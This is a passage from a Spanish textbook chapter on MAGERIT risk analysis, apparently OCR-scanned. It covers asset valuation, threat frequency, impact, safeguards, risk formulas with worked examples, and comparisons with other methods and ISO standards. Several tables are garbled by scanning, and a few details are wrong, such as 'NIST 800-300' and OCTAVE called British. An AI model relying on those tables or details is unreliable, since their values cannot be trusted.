valor segln la importancia que tenga para la tarea que se utiliza.

Cada organizacion ha de dictaminar cuéles seran los rangos de valores que pretendera utilizar
durante el estudio. No es recomendable establecer mas de cinco rangos, puesto que cuantos mas
se establezcan mas complicada sera la asignacién de cada activo al nivel adecuado.

A la hora de asignar una valoracion a cada activo debe tenerse en consideracion lo siguiente:
+ El valor de reposicién es el valor que tiene para la organizacién reponer ese activo en el
caso de que se pierda o de que no pueda ser utilizado.

« Elvalor de configuracion es el tiempo que se necesita desde que se adquiere el nuevo activo
hasta que se configura o0 se pone a punto para que pueda utilizarse para la funcién que
desarrollaba el anterior activo.

« El valor de uso del activo es el valor que pierde la organizacién durante el tiempo que no
puede utilizar dicho activo para la funcién que desarrolla.

« El valor de pérdida de oportunidad es el valor que pierde potencia mente la organizacion
por no poder disponer de dicho activo durante un tiempo.

Como ejemplo en este apartado indicar el caso del valor de un portatil, en el que para un mismo
coste (precio en el mercado), dependera de su asignacion de funciones y respecto a que no tendra
la misma valoracion de activo que esté dedicado sélo para presentaciones que como realizar
funciones de servidor o repositorio de informacion.

Valoracion Rango Valor
Muy alta Valor > 200.000 € 300.000 €
Alta 100.000 € < valor > 200.000 € 150.000 €
Media 50.000 € < valor > 100.000 € 75.000 €
Baja 10.000 € < valor > 50.000 € 30.000 €
Muy baja valor < 10.000 € 10.000 €

Tabla 9: Procedimiento de valoracion.

* Vulnerabilidad. Para MAGERIT, las vulnerabilidades se entienden como una frecuencia de
ocurrencia de una amenaza; es decir, la frecuencia con la que puede una organizacion sufrir alguna
amenaza en concreto.
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Esta frecuencia de ocurrencia, o vulnerabilidad, también se plasma en una escala de valores (no
se recomiendan mas de cinco niveles) que tendran que ser utilizados para todo el estudio. Una vez
que hemos determinado la escala de valores que utilizaremos durante el andlisis de riesgos, habra
que traducir estas vulnerabilidades a nimeros, para poder trabajar con ellos. Esta valoracion
numérica se realiza mediante estimaciones anuales, es decir, asignando un nimero de veces por

afio:

Vulnerabilidad = Frecuencia estimada / Dias del afio
Vulnerabilidad Rango Valor
Frecuencia extrema 1 vez al dia 1
Frecuencia alta 1 vez cada 2 semanas 26/365 = 0.071233
Frecuencia media 1 vez cada dos meses 6/365 = 0.016438
Frecuencia baja 1 vez cada 6 meses 2/365 = 0.005479
Frecuencia muy baja 1 vez al afio 1/365 = 0.002739

Tabla 10: Clasificacion de la vulnerabilidad.

Por ejemplo, suponiendo una vulnerabilidad que tiene una frecuencia de una vez al dia y esta
presente durante los 365 dias del afio, presenta una vulnerabilidad del 100%.

Vulnerabilidad = 365/365 =1

Otro ejemplo seria el de una ocurrencia de una vez cada dos semanas (representando unas 27
semanas al afio) con lo que la vulnerabilidad supondré un valor de 0.071.

Otras tablas referentes a este apartado pueden ser:
Escala de Frecuencia:

VALOR CRITERIO
_ Muy frecuente (MF) La amenaza aparece a diario
5% Frecuente (FR) La amenaza aparece mensualmente
50 % Normal (No) La amenaza aparece una vez al afio
25% Poco frecuente (PF) La amenaza aparece cada varios afios
Nunca (Nu) La amenaza nunca aparece

Escala de Degradacion:

VALOR CRITERIO
Total El activo resulta totalmente inservible

5% Alta Précticamente inservible

50 % Media Funciona degradado, rendimiento bajo

25 % Baja Ligera degradacion que no impide el funcionamiento
Despreciable Activo en perfecto estado
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Cabe afadir que, a la hora de elaborar el analisis de riesgos, lo méas correcto no seria pensar en
los conceptos de "una vez al afio" o "una vez al mes", sino en si una situacion, en virtud de las
caracteristicas de la organizacion, tiene una frecuencia de ocurrencia extrema, alta, media, baja o
muy baja, y a partir de esa clasificacion trabajar con la numeracion que se ha extraido para ese
nivel de vulnerabilidad.

Importante a destacar es que: no pueden modificarse los valores durante el estudio, sino que han
de mantenerse para todos los activos y amenazas a analizar. Si se cambian, las escalas en mitad
del estudio, los resultados no seran adecuados y por lo tanto no podran ser comparables.

« Impactos. Para MAGERIT, se entiende por impacto el tanto por ciento del valor del activo que
se pierde en el caso de que suceda un incidente sobre él. Para realizar este analisis a priori, también
debe realizarse una estimacién por rango de impactos; es decir, hay que pensar en los diferentes
niveles de impacto que se quieren utilizar, y a partir de ahi asignar el porcentaje de valor que se
estima que puede perderse en cada caso.

Impacto Valor
Muy alto 100 %
Alto 75 %
Medio 50 %
Bajo 20 %
Muy bajo 5%

Tabla 11: Valoracion del impacto.

« Efectividad del control de seguridad. Este pardmetro consiste en ver la influencia que tendran
las medidas de proteccion ante los riesgos que vamos a detectar, es decir, en pensar en como las
diferentes medidas de seguridad que podamos implantar nos pueden reducir el riesgo detectado.
A la hora de reducir un riesgo, hay que tener en cuenta que las medidas de seguridad tienen dos
modos de actuar contra él: o bien reducen la vulnerabilidad (la frecuencia de ocurrencia), o bien
reducen el impacto que provoca dicho riesgo.

Valoracion Valor
Impacto/vulnerabilidad

Muy alto 95 %
Alto 75%
Medio 50%
Bajo 30%
Muy bajo 10%

Tabla 12: Clasificacion de niveles.

Segun la tabla, la organizacion estima que, en caso de utilizar la mejor medida de seguridad para
un determinado riesgo, ésta le ayudara a reducir su riesgo inicial en un 95%, y asi para cada uno
de los niveles que ha establecido.

8.5.2.3.- Andlisis de activos

Esta fase del estudio consiste en identificar cuéles son los activos que posee la organizacion y que
necesita para llevar a cabo sus actividades. En esta fase es muy importante haber dejado
claramente identificado el alcance del analisis de riesgos, puesto que solamente se deberian
analizar aquellos activos que estén dentro de dicho alcance.
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Cabe recordar que es importante tener claro el nivel de granularidad al que se quiera llegar, puesto
que, cuanto mas bajo sea éste, mayor sera el listado de activos analizables.

Cuando se habla de activos analizables hay que pensar en los siguientes tipos de activos:
+ Activos fisicos. Serian todos los activos de tipo hardware que se utilizan en la organizacion:
ordenadores, servidores, portatiles, PDA, teléfonos moviles, impresoras, etc.

+ Activos légicos. Serian todos los elementos de software que se utilizan: sistemas operativos,
aplicaciones propias, paquetes cerrados de mercado, procesos bach, etc.

« Activos de personal. Son las personas, desde el punto de vista de roles o perfiles que
intervienen en el desarrollo de las actividades de la organizacion: responsable de seguridad,
administrador de la red, personal de administracion, secretarios, usuarios, etc.

+ Activos de entorno e infraestructura. Son todos los elementos que posee la organizacién
y que necesita para que el resto pueda funcionar correcta- mente. Son, por ejemplo, los
sistemas de aire acondicionado o el cableado de datos y de corriente eléctrica, etc.

+ Activos intangibles. Son aquellos elementos que directamente no posee la organizacion
pero que son importantes para ella, como pueden ser la imagen corporativa, la credibilidad,
la confianza de los clientes, el know how, etc.

ACTIVOSDE ACTIVOS sﬁﬂi?gsné ACTIVOS
INFORMACION FISICOS T HUMANOS

Infraestructura Ti:
edificios, oficinas,
armarios

Hardware de TI: Servicios de

patentes, conocim , estaciones de trabajo, autenticacion, servicios
relaciones... portatiles... de red,

Software

Controles del entorno de
TI: 540, dire

Sistemas Operativos acondicionado, alarmas

Fig.122: Clasificacion de los activos. Fuente: isotools.org
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Identificador | Categoria Ejemplos
STI Servicios TI Aplicacion + infraestructura TT de soporte.
SW Software / Aplicaciones A;l)lllca.cwnes. sistemas operativos. herramientas de desarrollo vy
utilitarios
HW Hardware / equipos Servl'ldores (S.O.). PCs, routers, hu.b.s. fl'u'e\}-'alls. medio magnético,
gabinetes, cajas fuertes, salas. mobiliario, sistema de alarma. etc.
ST Soportes de informacién SAN. discos. cintas. USB. CD. DVD.
COM Redes de comunicaciones | Medios de transporte que llevan datos de un sitio a otro

BD. archivos de datos, contratos y acuerdos. documentacion del
sistema. informacion de investigacion. manuales de usuario.

DAT Datos / Informacién material de entrenamiento. de operacion. procedimientos de
soporte, planes de continuidad y contingencia. acuerdos
. . . Equipamiento de soporte a los sistemas de informacion (UPS.
AUX Equipamiento auxiliar Generados, Aire acondicionado. cableado. etc.)
. Lugares donde se hospedan los sistemas de Informacion. registros
INS Locales / Instalaciones vitales y comunicaciones
PER Personal / RR.HIL Personas.. calificaciones, experiencia y capacidades (usuarios.
proveedores, personal de TI)
. L. Vigilancia. servicios de impresion, computacion,
SRV Servicios generales

telecomunicaciones, eléctrica, agua. etc.

Tabla 13: Categorias de los Activos de Informacion [26].

[I Esencial] Datos esenciales | Caracter Personal| Datos
\‘ de CaréCter erSOnaI
[SRV] Servicios /

COM| Redes de
comunicacion

HW] Equipos Informaticos
[SW] Aplicaciones (Software) HW

[DAT] Datos / Informacién

S

[AUX] Equipamiento Auxiliar - [INS] Instalaciones «—

Fig.123: Dependencia de los activos [30].
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Equipos del Personal

_____—~| Servidores

Equipamiento de Comunicaciones

Software de Desarrollo Interno

Software de Desarrollo Externo

Documentacion y Datos

Directivos

Personal de Base

Personal Externo

Seguridad Fisica

‘Suministros

Comunicaciones
Externos a la organizacion
Intemos a la organizacion

Fig.124: Identificacion y tipificacion de los activos [25].

|
|
|
|
|
|
|
— Mandos Intermedios |
|
|
|
|
|
|
|

Deben clasificarse segun los valores que se han establecido previamente como parametros, para
lo cual cabe recordar que debe tenerse en cuenta lo siguiente:
+ Valor de reposicion

+ Valor de configuracion o puesta a punto
+ Valor de uso del activo

+ Valor de pérdida de oportunidad

Niveles de criticidad | Descripcion Valor
MA- Muy Alto Activo cuya afectacion genera un dafio muy grave a la | 9-10
organizacion.
A- Alto . . o o
Activo cuya afeccion genera un dafio grave a la organizacion | 6-8
ME- Medio Activo cuya afeccion genera un dafio importante a la | 3-5
organizacion
B- Bajo . - ~
Activo cuya afeccion genera un dafio menor a la | 1-2
organizacion.
MB- Despreciable. Activo cuya afeccidn es irrelevante para la organizacion. 0

Dimensiones de seguridad
A | Autenticidad

C | Confidencialidad

| | Integridad

D | Disponibilidad

T | Trazabilidad

Tabla 14: Valoracién de los activos.
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[S] Servicios
[51] Servicio de Aplicaciones [71 [ [F1{ 71 | [F] | 7]
[52] Servicio de Backup [71 |[6] [ [S] | [¥] | [6]
[53] Servicic WEB [9] |[81[[71 | [8] | 7]
[54] Servicic Bases de Datos [8] |[91] [71 | [B1 [ [7]
[55] Servicio Pago [B] |[81) 08| [M] | [7]
[S6] Servicio criptografico [8] |[8]|[&] | [8] | 8]
[57] Comunicaciones [6] |[61) [71 | [€] | [&]

[ Activos de

informacion

[7]
[8]

[101] Informacion
[102] Pagina web 91
[103] Pasarela

[104] Comunicacionss
[105] Bases de datos

[5]
7]

S=3
=== (3
=
JE@=E=E =3
=

[E] Equipamiento

[SW] Aplicaciones
[SW1] Adminisiracidn Operacion Senidores | [T1 |7 [71 | [7] [ [7]
SW 2] Administracion y gestion de

apl[icacic]-nes ’e 71| 1) 7
[SW3] Adminisiracion y operacidn BBOD [F1 [ [F1{ 71 | [F] | 7]
[SW4] Adminisiracion senvicio dns [71 [ [F1{ 71 | [F] | 7]
[SW 5] Administracion WEB [6] | [71] [&] | [&] | [7]

[CON] Comunicaciones
[COM1] red telefanica [6] | [6] | [8] | [&] | [&]
[COM2] Firewall [8] | [81] 71 | [¥1 [ [7]
[COM3] Router [8] |[71] [&] | [8] | [8]
[COM4] Switch [71 | 071 81 | [8] | 7]
[COMS] Red de telecomunicaciones [8] | [8] | [&] | [8] | [8]

[HW] Equipos
[HW 1] Servidor Ficheros [71 [ [F1{ 71 | [F] | 7]
[HW2] servidor Backup [6] |[97{[&] | [&] | [8]
[HW3] Senvidor web [91 |[91] 91 | [3] [ [90
[HW4] Servidor de cerfificadas [9] |[97(0S1 91|08
[HW5] Servider BEDD [8] | [8] | [&] | [8] | [8]
[HWE] Servidor de Comeo [5] |[51[5] | [5] |5
[HWT] Servidor Firewall [5] |51 [S] | [5] | 5]
[HW8] Servidor Desarrollo [71 | 6] | [&] | [8] | [&]
[HW9] Senvidor de Aplicaciones [71 | [1] [€] | [&] | [&]
[HW10] Equipos PC empleados (4] |[47{[49 | [3] |3
[HW11] Impresoras [0] |07 107 | [0] | [0]
[HW12] SAN-Amacenamiento [8] |[8][[71 | [¥] | [8]

Tabla 15: Clasificacion y valoracion de los activos.

8.5.2.4.- Analisis de amenazas

Amenazas son aquellas situaciones que podrian llegar a darse en una organizacion y que
desembocarian en un problema de seguridad.

Diversidad de amenazas: las amenazas se consideran diferentes respecto de tamafio y servicio de
la empresa. Por ejemplo, no puede sufrir las mismas amenazas una gran empresa que una pequefia
0 una de comercio electronico sometida a las mismas amenazas y menos si alguna no tiene
conexion a Internet.

MAGERIT clasifica las amenazas que pueden afectar a una organizacion en cuatro grandes
grupos, y dentro de cada uno de ellos identifica amenazas mas concretas, que son las que deben
contemplarse:
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e Accidentes: situaciones no provocadas voluntariamente y que muchas veces no pueden
evitarse, como por ejemplo las de tipo natural.

- Accidente fisico: inundacion, incendio, explosion, etc.

- Auveria.

- Interrupcion de los servicios esenciales: cortes de suministro eléctrico, de
telecomunicaciones, etc.

- Accidentes mecanicos: choques, caidas, radiaciones, etc.

e Errores: acciones cometidas de forma involuntarias, por el propio desarrollo de las
actividades diarias de la organizacion. Ejemplos:

- Errores en la utilizacion de los sistemas provocados por un mal uso.

- Errores en el disefio conceptual de las aplicaciones.

- Errores en la actualizacién o parcheo de los sistemas o aplicaciones.

- Errores en la monitorizacion.

- Errores en la compatibilidad de aplicaciones.

- Errores inesperados (virus, troyanos, etc.)

e Amenazas intencionales presenciales: provocadas por el propio personal de la
organizacion de forma voluntaria al realizar acciones que se sabe que provocan un dafio,
tanto del punto de vista fisico como légico. Ejemplos:

- Acceso fisico no autorizado.

- Indisponibilidad de recursos, ya sean humanos (abandono) o técnicos (bloqueo del
sistema).

- Filtracion de datos a terceras organizaciones, ya sean datos personales (LOPD) o técnicos.

e Amenazas intencionales remotas: provocadas por terceras personas, es decir, por
personas ajenas a la organizacion y que consiguen dafiarlas. Ejemplos:

- Acceso l6gico no autorizado.

- Suplantacion del origen con intercepcion de las comunicaciones y intercambio de datos
con falseo de los mismos.

- Denegacidn de servicio, ya sea contra el ancho de banda o contra los recursos del sistema
(por ejemplo consumir toda la memoria).
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[ Degradacion del activo

e [ Disponibilidad] Integridad [Confidencialidad
Desastres Naturales
Fuego (Incedios) X
Dafos por agua (Inundaciones) ®

Desastres MNaturales
De origen industrial
Fuego (Incedios)
Dafios por agua (Inundaciones)
Desastres industriales
Contaminacién mecanica
Contaminacion electromagnética
Averia de origen fisico o légico
Corte del suministro eléctrico
Condiciones inadecuadas de temperatura o humedad
Fallo de servicios de comunicaciones
Interrupcion de otros senvicios ¥y suministros esenciales
Degradacion de los soportes de almacenamiento de la informacion
Emanaciones electromagnéticas X
Errores y fallos no intencionados
Errores de los usuaros
Ermores del administrador x
Ermores de monitonzacion (log)
Ermores de configuracion
Deficiencias en la organizacion X
Difusion de software dafino X ® ®
Ermores de [re-Jencaminamiento X
Errores de secuencia x
Escapes de informacion ® ®
Alteracion accidental de la informacion x
Destruccion de informacion x
Fugas de informacion x
Vulnerabilidades de los programas (software) x x x
Emores de mantenimiento / actualizacion de programas (software) x X
Ermmores de mantenimiento / actualizacion de eguipos (hardware)
Caida del sistema por agotamiento de recursos
Pérdida de equipos
Indisponibilidad del personal
Ataques intencionados
Manipulacion de los registros de actividad (log)
Manipulacion de la configuracion
Suplantacion de la identidad del usuario
Abuso de privilegios de acceso
Uso no previsto
Difusion de software dafino
[Re-]encaminamiento de mensajes
Alteracion de secuencia
Acceso no autorizado X
Analisis de trafico

>

A A A B B A L L A

=

A A
*

K| ==

LR
A A A
EAENE AR

=

b3 b

Amenaza Degradacion del activo
Disponibilidad | Integridad [Confidencialidad

Interceptacion de informacion (escucha) X
Modificacion deliberada de la informacion X

Destruccion de informacion X

Divulgacién de informacion X
Manipulacion de programas X X X
Manipulacion de los equipos X X
Denegacion de servicio X

Robo X X
Ataque destructivo X

Ocupacion enemiga X X
Indisponibilidad del personal X

Extorsion X X X
Ingenieria social (picaresca) X X X

Tabla 16: Catalogo de amenazas.

8.5.2.5.- Establecimiento de vulnerabilidades

Recordemos que por vulnerabilidades se entienden aquellos agujeros que tenemos en nuestra
seguridad y que permiten que una amenaza pueda dafiar un activo. Es importante tener claro que,
sin vulnerabilidad, la amenaza no puede dafiar nuestros activos y también que las vulnerabilidades
por si mismas no provocan dafios, sino que éstos son siempre provocados por las amenazas.
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En MAGERIT, a pesar de que no es necesario listar las vulnerabilidades, si que es necesario
tenerlas en cuenta para poder estimar la frecuencia de ocurrencia de una determinada amenaza
sobre un activo.

8.5.2.6.- Valoracion de impactos

Los impactos se definen como las consecuencias que provoca en la organizacion el hecho de que
una cierta amenaza, aprovechando una determinada vulnerabilidad, afecte a un activo.

A la hora de analizar los impactos deberian tenerse en consideracion los siguientes aspectos:
« El resultado de la agresion de una amenaza sobre un activo

+ El efecto sobre cada activo para poder agrupar los impactos en cadena segun la relacion de
activos, por ejemplo, en el incendio de un servidor no solo afecta a la disponibilidad del
equipo sino también a la informacion que contiene.

+ El valor econémico representativo de las pérdidas producidas en cada activo.

+ Las pérdidas cuantitativas o cualitativas.
Impacto = Valor x Degradacion.

8.5.2.7.- Analisis de riesgos intrinseco

A partir de este punto, y con los valores identificados para cada situacion, ya se puede realizar el
estudio de los riesgos actuales a los que esta sometida una organizacion.

Para este estudio, Unicamente es necesario realizar una multiplicacion de los valores que hemos
indicado hasta ahora:

Riesgo intrinseco = Valor del activo x Vulnerabilidad x Impacto

Para MAGERIT, el estudio de la situacion actual es el analisis de riesgos intrinseco, es decir, el
analisis de la situacion en la que se encuentra la organizacion en el momento del estudio aunque
ya posea medidas de seguridad implantadas.

Recordar que los riesgos intrinsecos como aquellos a los que estamos expuestos sin tener en
cuenta las medidas de seguridad que podamos implantar. En el caso de MAGERIT, se entiende
como intrinseca la situacion en la que nos encontramos teniendo en consideracion todos los
elementos que posee la organizacion.

8.5.2.8.- Influencia de las salvaguardas

Una vez que tenemos identificados los riesgos actuales a los que se encuentra expuesta la
organizacion, se entra en la fase de gestion de riesgos, que consiste en tratar de escoger la mejor
solucion de seguridad que me permita reducirlos.

Para ello existen dos tipos fundamentales de controles de seguridad o salvaguardas:

* Preventivas: aquellas medidas de seguridad que reducen las vulnerabilidades (la frecuencia de
ocurrencia).

Nueva vulnerabilidad = Vulnerabilidad x Porcentaje de disminucion de vulnerabilidad
» Correctivas. Son aquellas medidas de seguridad que reducen el impacto de las amenazas.
Nuevo impacto = Impacto x Porcentaje de disminucién de impacto

Un resumen de tipos de salvaguardas seria:
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Preventivas: reducen la probabilidad [PR] preventivas

[DR] disuasorias
[EL] eliminatorias

Acotan la degradacion [IM] minimizadoras
[CR] correctivas
[RC] recuperativas

Consolidan el efecto de las demés [MN] de monitorizacién
[DC] de deteccion

[AW] de concienciacion

[AD] administrativas

Tabla 17: Tabla de salvaguardas.

+ Prevencion.- Cuando reduce oportunidades que ocurra un incidente.

« Disuasién.- Aquellas salvaguardas que actuan antes del incidente y los atacantes no se
atreven a atacar. En su caso, mejor si lo puede bloquear.

+ Eliminacion.- Cuando eliminamos un incidente y no ocurre.

¢ Minimizacién del impacto.- Cuando se podemos eliminar el impacto y se acotan las
consecuencias de un incidente.

+ Correccion.- Tras producirse el dafio, la salvaguarda lo repara.

+ Recuperacion.- La salvaguarda permite volver al estado anterior luego de ocurrido el
incidente.

« Monitorizacion.- Salvaguardas que monitorean lo que ocurre.
+ Deteccion.- Detecta un ataque cuando informa de que el ataque esta ocurriendo.

+ Concienciacion.- Actividades de formacion de las personas anexas al sistema que pueden
tener una influencia sobre él.

+ Administracion.- Relacionadas con los componentes de seguridad del sistema.

FACTOR | NIVEL | SIGNIFICADO
0% LO Inexistente
L1 Inicial/Ad hoc
L2 Reproducible, pero intuitivo
L3 Proceso definido
L4 Gestionado y medible
100% L5 Optimizado

Tabla 18: Eficacia y Madurez de salvaguardas [8].
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Fig. 125: Gestion de aplicacion de Salvaguardas en el Plan de Seguridad.

Ejemplos de salvaguardas
+ Un firewall. Como medida preventiva, lo que hace es reducir la frecuencia de ocurrencia de
intrusiones en nuestra red. Pero, en el caso de que llegue a producirse una intrusién, no puede
hacer nada para reducir los dafios que provocaria.

+ Una copia de seguridad. Lo que hace es reducir el impacto que provocaria una pérdida de
informacién. En cambio, no reduce la posibilidad de que alguien pueda borrar la informacion
de la organizacion.

Para reducir cada uno de los riesgos que hemos identificado en la organizacion, seria necesario
gue se buscaran las soluciones de seguridad que existen en el mercado, ya sean preventivas o
curativas.

8.5.2.9.- Analisis de riesgos efectivos

Seré el resultado de estudiar como se reducirian los riesgos con cada una de las medidas de
proteccion (controles o salvaguardas) que hemos identificado; es decir, se deberia calcular el
riesgo definitivo, dandose como resultado el riesgo efectivo que tendria la organizacién para cada
una de las amenazas identificadas.

Es el resultado de estudiar como se reducirian los riesgos con cada una de las medidas de
proteccién que se identifiquen, es decir, calcular el riesgo definitivo y teniendo en cuenta las
salvaguardas implantadas.

Por lo tanto, el riesgo efectivo se calcula con:

Riesgo efectivo= Valor efectivo x Nueva vulnerabilidad x Nuevo Impacto.

Riesgo efectivo = Valor activo x (Vulnerabilidad x Porcentaje de disminucién de vulnerabilidad)
X (Impacto x Porcentaje de disminucion de impacto).

Riesgo efectivo = Riesgo intrinseco x Porcentaje de disminucion de vulnerabilidad x Porcentaje
de disminucion de impacto.

En resumen, el estudio seria el siguiente:
Un par de entendimiento general de formulas seria:
Impacto = Valor x Degradacion

Riesgo = Frecuencia x Impacto.
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Fig.126: Vista final esquema de Anédlisis de riesgos.

Un ejemplo de referencia de [31] podria ser:
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I=V*D

R=I*F

Sea un activo valorado en 1.000.000 €, que es victima de una amenaza que lo degrada un 90%.

El impacto es de cuantia

1.000.000x 90% = 900.000
Si la frecuencia estimada es de 0.1, el riesgo es de cuantia

900.000 x 0.1 =90.000

Si las salvaguardas tienen un 90% de eficiencia sobre el impacto, el impacto residual es:

900.000 x (1-0.9)=90.000

Si las salvaguardas tienen un 50% de eficiencia sobre la frecuencia, la frecuencia residual queda

en
0.1 x (1-0.5)=0.05

El riesgo residual queda en
90.000x0.05 = 4.500
La eficacia combinada de las salvaguardas es
1- (1-90%)x(1-50%)= 95 %

Si las cantidades son euros y las frecuencias anuales, la pérdida posible es de 90.000 € y la pérdida

anual se estima en 4.500 €
Otro ejemplo de [32] podria ser:
Establecimiento de parametros:
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Tabla Costo de Activos Explicacion:
MA Muy alto 2.100.000
A Alto 300.000 De acuerdo a los
M Medio 72.000 I activos se les da una
B Bajo 4.000) categoria

Tabla Vulnerabilidad de los activos Clasificacion numérica

EF_[Extremadamente frecuente ! de la vulnerabilidad que
MF  |Muy Frecuente 0,071 PR

puede presc—rntar el
F |Frecuents 0.014 activo
FN_[Frecuencia Normal 0.004 ©
PF [Poco Frecuente 0,003

Tabla Degradacion de los activos (Impacto)

a ‘:'"’*‘EI_ - 90 Clasificacion del nivel
edla -
B Baia T PR de impacto que puede

tener un activo

Valoracion de activos:

ICadigo INombre valor
90 Imagen Organizacional 2.100.000
a1 Bases de datos 72.000
22 Desarrollo 300.000
IServidor WEB
68 4.000,
+
' 2.476.000

Estos son los cuatro activos elegidos del archivo excel: Imagen Organizacional, Bases de
datos, Desarrollo y servidor web

Amenazas globales:

Riesgo
ICadigol Amenaza Vulnerabilidad| Impacto Activos  |Intrinseco
A1 Incendio oficinas PF 0,003 A 90 2.476.000 6.685
A2 Danio de Hardware EF 1M 50 2.476.000) 1.238.000
lAcceso a oficinas no

A4 autorizado MF 0,071 B 10 2.476.000 17.58(0
A3 Mo disponibilidad del Personal FN 0,005 B 10 2.476.000 1.238

TOTAL 5.904.000 1.263.503

Aca se hace el analisis de amenazas y la formula utilizada para calcular el Riesgo Intrinseco seria:
Valor de los activos * Vulnerabilidad * (Impacto/100) = Riesgo Intrinseco
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Controles por amenazas:

Dism. Vulnerabilidad Dism. Im {s]
Amenaza Control
A 512 A a0 M 60
A2 514 M 60 A 90
A4 502 A a0 M 60
1504 M 60 M 60
S06 m | 60 M 60
IS08 A 90 A 90
A3 IS10 A 90 M 60

Ahora relacionamos cada amenaza con su respectivo control/salvaguardas y
asignamos un valor de disminucion de la vulnerabilidad como disminucion
del impacto por cada control/salvaguarda asignado

Riesgo efectivo x activo:

RIESGO EFECTIVO

; "
5 E
I N |
g 5 Ez fi
¥ = g8 =3
= - - =
Wulngrabllidad 0,003 1 0.a7
| Impaeto (%) = 1
Disminucisn da
ulnerabildad (%)) B0y 23,54
Disminucisn da
Codigo | Valor del Activo | Descripcion del Active | Impacto (%) =0l 53,53
51 2.100.000lmagen Organizacional 227 420000 01527 2|
si 72.000Bases de datos 8 1.440 0,0052 1 1.449
24 300.000Desarrollo T 32 6.000p 0,021 5 6.038
| 4.000Servidor web 0| 80,0000 0,0003 0| 81
261 s  gieed g s

Ahora calculamos el riesgo efectivo por amenaza y por activo:
Riesgo Efectivo = Riesgo Infrinseco ™ ( 1 - Disminucion de la
vulnerabilidad)*(1-Disminucion del impacto)

¢Qué mira la alta gerencia?

Miles de millones

3000
Conclusiones Finales 2000 +—

1000 - —

0 T T T 1

.. °
v&‘& & S
> &
MRS

El riesgo intrinseco para este estudio es de 51.03% del valor de los activos y el riesgo efectivo
es de 2.01%
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8.6.- Gestion de riesgos

Esta Gltima fase consiste en la toma de decisiones por parte de la organizacion sobre las medidas
de seguridad que debe escoger entre el listado de salvaguardas que permiten reducir los riesgos
en aquélla.

Aqui hay que tener en cuenta que las organizaciones deben pretender disminuir todos los riesgos
gue han detectado hasta situarlos por debajo del denominado "umbral de riesgos", que en cada
organizacion sera o podré ser diferente.

Umbral de riesgos: Es el punto en el que una organizacion considera que los riesgos a los que se
encuentra expuesta no son aceptables y teniendo en cuenta el valor de Riesgo Residual.

A la hora de gestionar los riesgos, se debe escogerse aquellas medidas de seguridad que permitan
reducir los riesgos intrinsecos de la organizacion hasta situarlos por debajo del umbral de riesgos
con un menor coste para la organizacion.

Recordemos que, a la hora de gestionar los riesgos en una organizacion, existen tres decisiones
que pueden tomarse:
+ Reducirlos

o Transferirlos
+ Aceptarlos

A la hora de gestionar riesgos debe elaborarse un plan de accién, que contendra la siguiente
informacion:
+ Establecimiento de prioridades: consiste en designar aquellos riesgos que tendran que ser
reducidos en primer lugar debido a que son los mas ele- vados para la organizacion.

+ Planteamiento del andlisis de coste/beneficio: consiste en estudiar, para cada una de las
medidas que se pueden implantar, qué coste le supondria a la organizacion y en qué
porcentaje reduciria los riesgos detectados.

+ Seleccion de controles definitivos: una vez analizado el coste/beneficio de todos los
controles, hay que seleccionar definitivamente los que tendra que implantar la organizacion
para reducir los riesgos hasta situarlos por debajo de su umbral de riesgo.

« Asignacién de responsabilidades: consiste en asignar los responsables den- tro de la
organizacion de llevar a cabo la implantacién de los controles. Es importante tener
identificadas a estas personas ya que, si no, existe el peligro de que las decisiones que se
tomen acaben por no ser implantadas.

+ Implantacion de controles: consiste en realizar la implantacion de los con- troles de
seguridad designados. Hay que tener en cuenta que no forzosa- mente los controles que se
implanten han de ser técnicos, sino que po- drian ser controles organizativos o
procedimentales.

8.7.- Otros métodos

NIST 800-300: de origen americano, desarrollado por el NIST (National Institute for Standars
and Technology) aqui las valoraciones no son econdémicas sino cualitativas.

CRAMM: de origen britanico, uso por valoraciones numéricas para el cdlculo de los riesgos.

El inconveniente es que los resultados que se expresan estan indicados en nameros, lo cual no
refleja realmente la dimension del riesgo al que se encuentra expuesta una organizacion, puesto
que, en comparacion con MAGERIT, hablar de un riesgo de 12 no es lo mismo que hablar de un
riesgo de 23.000 €. Por ello esta metodologia lleva asociado un segundo proceso consistente en
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la traduccidn de esos riesgos a unas valoraciones econémicas, de forma que sean defendibles ante
la direccion.

OCTAVE: de origen britéanico, tiene un modo diferente de representar los riesgos a los que se
encuentra una organizacion. OCTAVE requiere entrar en un proceso iterativo para tratar de
obtener una reduccion de todos los riesgos a los que se encuentra expuesta la organizacion.

La metodologia acaba traduciéndose en la construccion de un arbol de riesgos en el que queda
marcado cudl es el camino mas critico ante el que la organizacion tiene que actuar primero. Una
vez que se consigue reducir este riesgo, serd necesario que se repita el estudio para volver a
encontrar el siguiente camino critico, y asi sucesivamente hasta reducir todos esos riesgos.

——  Amenazal Vulnerabilidad 1

—  Amenaza 2 Vulnerabilidad 2

Vulnerabilidad 3

—| Amenaza 4 Vulnerabilidad 5

Fig.127: Resultado de aplicacion de OCTAVE.

Esta metodologia tiene como aspecto positivo que es necesario centrarse en analizar todas las
situaciones con el detalle que otras metodologias requieren. En cambio, tiene como gran
inconveniente que se debe completar un ciclo de revision del andlisis para acabar de identificar
todos los riesgos que en cada ocasion son los mas criticos.

8.8.- Normativas asociadas

Relacionado con la gestion de riesgos, cabe destacar la existencia de distintos estandares
internacionales que aportan directrices de como realizar un andlisis de riesgos alineado a los
estandares de seguridad de la informacion, que son los siguientes:

« ISO 27005. La norma ISO 27005 contiene diferentes recomendaciones y directrices
generales para la gestion de riesgo en sistemas de gestion de seguridad de la informacion. Es
compatible con los conceptos generales especificados en la norma ISO 27001 y se encuentra
disefiada como soporte para aplicar de forma satisfactoria un SGSI basado en el enfoque de
gestion de riesgo. No obstante, la version actual de la ISO 27005 (del 2011), no esta alineada
con la actual 1SO 27001:2013.

+ 1SO 31000. La ISO 31000 establece los principios, el marco y un proceso para la gestion de
cualquier tipo de riesgo en una forma transparente, sistematica y fiable en cualquier &mbito
o0 contexto (entendiendo riesgo como la incertidumbre en el logro de los objetivos). Ademas,
permite que todas las empresas puedan comparar su sistema de gestion de riesgos con un
Unico punto de referencia reconocido internacionalmente.

8.9.- Conclusiones
- La forma de conseguir el mayor beneficio en seguridad de la informacién es contar con
una adecuada evaluacion de riegos, que oriente las inversiones, que minimicen el impacto
en caso de incidentes.
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- No importa la metodologia que se seleccione.

- Destacar que, por ejemplo, aunque un aspecto positivo de la metodologia MAGERIT es
que el resultado se expresa en valores econémicos, una de las desventajas de es el hecho
de tener que traducir de forma directa todas las valoraciones en valores econdémicos hace
que la aplicacion de esta metodologia sea realmente costosa.

- Si la seguridad de la informacion depende Unicamente de IT entonces la probabilidad de
